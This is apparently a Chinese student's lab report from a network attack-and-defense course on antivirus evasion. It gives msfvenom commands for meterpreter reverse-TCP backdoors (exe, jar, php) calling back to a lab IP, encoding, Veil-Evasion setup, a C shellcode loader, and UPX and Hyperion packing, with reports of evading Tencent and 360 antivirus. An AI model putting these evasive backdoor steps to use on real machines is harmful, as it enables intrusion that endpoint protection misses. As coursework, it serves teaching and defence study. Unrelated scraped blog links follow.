2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
- 根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这些特征码来判定他是不是病毒。
- 根据该软件的行为进行检测如有异常行为,会被判定为风险文件或病毒。
- 基于行为的恶意软件检测:在启发式基础上对软件行为进行监控
(2)免杀是做什么?
通过一定的技术手段,将恶意软件处理,使之不会被杀毒软件发现。
(3)免杀的基本方法有哪些?
- 改变特征码:对于.exe文件可以加壳,对于shellcode可以进行加密然后利用shellcode生成可执行文件,或者用其他语言进行重写再编译
- 改变行为:根据改变通讯模式、操作模式来实现免杀。
2. 实践内容
任务一: 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.使用VirusTotal或Virscan这两个网站对实验二生成的后门程序进行扫描。
- VirusTotal扫描后结果如下:



2.用msf编码器对后门程序进行一次到多次的编码,并进行检测。
- 一次编码使用命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.241 LPORT=5336 -f exe > met-encoded.exe

VirusTotal扫描后结果如下:

十次编码使用命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.241 LPORT=5336 -f exe > met-encoded10.exe

- VirusTotal扫描后结果如下:

3.msfvenom生成jar文件、php文件
生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.241 LPORT=5336 x> 5336_backdoor_java.jar

VirusTotal扫描后结果如下:

生成php后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.241 LPORT=5336 x> 5336_backdoor.php

VirusTotal扫描后结果如下:

4.使用veil-evasion生成后门程序及检测
- 安装veil
自我尝试方法一:sudo apt-get install veil安装了一个多小时报错,根据问题查找学长学姐的博客和百度最终的原因似乎是因为kali的版本与veil的版本不匹配导致安装失败,还有一个原因是校园网的原因,会导致下载不完全安装出错(网速不好真的难受)。

方法二:使用代理安装,时间比较久需要耐心
# apt-get install libncurses5*
# apt-get install libavutil55*
# apt-get install gcc-mingw-w64*
# apt-get install wine32
# git clone https://github.com/Veil-Framework/Veil
# cd Veil/setup/
# ./setup.sh

- 安好后
use evasion命令进入Evil-Evasion

- 输入命令
use c/meterpreter/rev_tcp.py进入配置界面

- 设置反弹连接IP,
set LHOST 192.168.1.24,IP是KaliIP;设置端口set LPORT 5336

- 指令
generate生成文件,输入playload的名字:veil_c_5336

- VirusTotal扫描后结果如下:

5.手工注入Shellcode并执行
- 使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.241 LPORT=5336 -f c用c语言生成一段shellcode;

vim 20165336.c,然后将unsigned char buf[]赋值到其中
unsigned char buf[] =
代码
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令:
i686-w64-mingw32-g++ 20165336.c -o 20165336.exe编译这个.c文件为可执行文件;

- VirusTotal扫描后结果如下:

6.加壳尝试
- 加压缩壳
upx 20165336.exe -o 20165336_uped.exe

- VirusTotal扫描后结果如下:

- 加密壳Hyperion:进入目录
/usr/share/windows-binaries/hyperion/中将20165336_uped.exe拷贝进来并用wine hyperion.exe -v 20165336_upxed.exe 20165336_upxed_Hyperion.exe进行加壳


- VirusTotal扫描后结果如下:

任务一小感想
经过前面的操作,我发现对于防止杀毒软件查杀的效果,只有加压缩、加密壳免杀的效果会好一点,其他的都容易被发现。

任务二:通过组合应用各种技术实现恶意代码免杀(0.5分)
- 用codeblocks的C语言将前面的
.c文件里的shellcode加密(加密方式为加五在异或0x66)得到下图的shellcode,然后在进行加压缩壳。

- 实现免杀效果,并回连成功(自己的杀软为腾讯电脑管家)。


任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
- 对舍友电脑进行免杀效果测试并回连成功(舍友的杀软为最新的360安全卫士11)


3.遇到的问题
1.安装veil时出现错误,见上文。
2.在进行加密shellcode需要将.exe文件在win10编译后放入kali,结果我的共享文件夹出问题了,找不到她了,解决办法:
sudo vmhgfs-fuse .host:/共享文件名字 /mnt/hgfs,然后共享文件就出现了。
4.开启杀软能绝对防止电脑中恶意代码吗?
- 我认为不能绝对的防止电脑中恶意代码,因为杀软更新的速度肯定赶不上病毒软件被创新开发出来的速度,对于现在学习的简单免杀技术有时候都能使杀毒软件查杀不出来,况且如果学习的更深入,了解的知识足够多我相信,随随便便攻破杀软都是小事情。并且新的入侵方法也在被不断的开发出来,如果杀软报的是风险软件没有报病毒软件,不懂电脑的人将其忽略并启动运行依旧会导致电脑中恶意代码,所以并不能绝对防止电脑中恶意代码。
5.实践总结与体会
这次实验我是带着很浓厚的兴趣去做的,在这过程中从一开始的msf熟悉到veil的安装再到shellcode变换加壳,我经历过许多困难,尤其是安装veil还把我的kali弄炸了,还好之前备份过不然又得从头安装kali,从后面的免杀结果来看,反而是shellcode加密然后加压缩壳会好一些,但有时候还会被杀毒软件查杀出来,估计是病毒库的不断更新,在免杀效果的实验测试中,我测了我三个舍友的电脑,有联想、惠普的总的来说联想自带的电脑管家+360的防护措施会比较好,惠普安装的360在一开始查杀不出来但经过一段时间后,也依旧能查杀出来,这让我知道病毒库的更新是多么的重要,对于shellcode的加密我认为还有很多种方法,我相信在之后的不断学习中,当我了解更多的知识,我实现免杀效果的方法会更多,成功率会更高,总的来说加强对病毒的防范很重要,防范不规范,蓝屏两行泪啊~~
2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- vlan 知识学习
背景 有人反映打印机总是提示ip冲突,经检查,打印机虽然设置了固定ip,但是所有员工在路由器都是设置了DHCP,所以会存在员工占用打印机IP 情况,在路由器添加某一段的ip不自动分配解决此问题 ...
- Oracle 数据文件迁移
背景 这两天做一个oracle数据库迁移,以前都是用exp.imp来走,这次用到了expdp.impdp,的确有些优势,但同时又想起了只是拷贝数据文件迁移的方式,其实这个方式不常用做迁移,更多用在磁盘 ...
- Laravel 多数据库配置及查询操作
laravel文档好像没有写得很详细 https://docs.golaravel.com/docs/5.3/database/ Using Multiple Database Connections ...
- 【原创】大数据基础之Kudu(1)简介、安装、使用
kudu 1.7 官方:https://kudu.apache.org/ 一 简介 kudu有很多概念,有分布式文件系统(HDFS),有一致性算法(Zookeeper),有Table(Hive Tab ...
- JAVA 数组元素的反转
package Code411;/*数组元素的反转本来[1,2,3,4]反转后[4,3,2,1]1.对称位置的元素交换2.对称位子需要两个索引3.int temp =a:a=b;b=temp;4.什么 ...
- zoj4027 线性dp!好题
非常好的dp,可是我太菜做不出来.. /* 第i个左括号不可能越过第i+1个左括号 如果第i个左括号到位置j,前提是第i+1个左括号就必须到位置j+1即以后 用dp[i][j]表示把第i个左括号转移到 ...
- python 2.7 数据结构之列表list: 基础面试总结
python 列表函数及方法: 函数如下: 1 cmp(list1,list2) 比较两个列表中的元素 2 len(list) 列表元素个数 3 max(list) 返回列表元素最大值 4 min(l ...
- jackson对日期的处理(序列化与反序列化)
https://blog.csdn.net/cover1231988/article/details/76021478
- IOC应用之 Ninject
什么是Ninject Ninject是一套.Net平台下的高效,超轻量级的依赖注入库.它可以帮助你实现应用程序的松耦合,高内聚,同时也能很灵活的把它们进行组合在一起.借助与Ninject的帮助,代码的 ...
- 机器学习之--KNN算法简单实现
# # kNN 分类算法 a = np.array([[1,1],[1.2,1.5],[0.3,0.4],[0.2,0.5]]) #构造样本数据 labels = ['A','A','B','B'] ...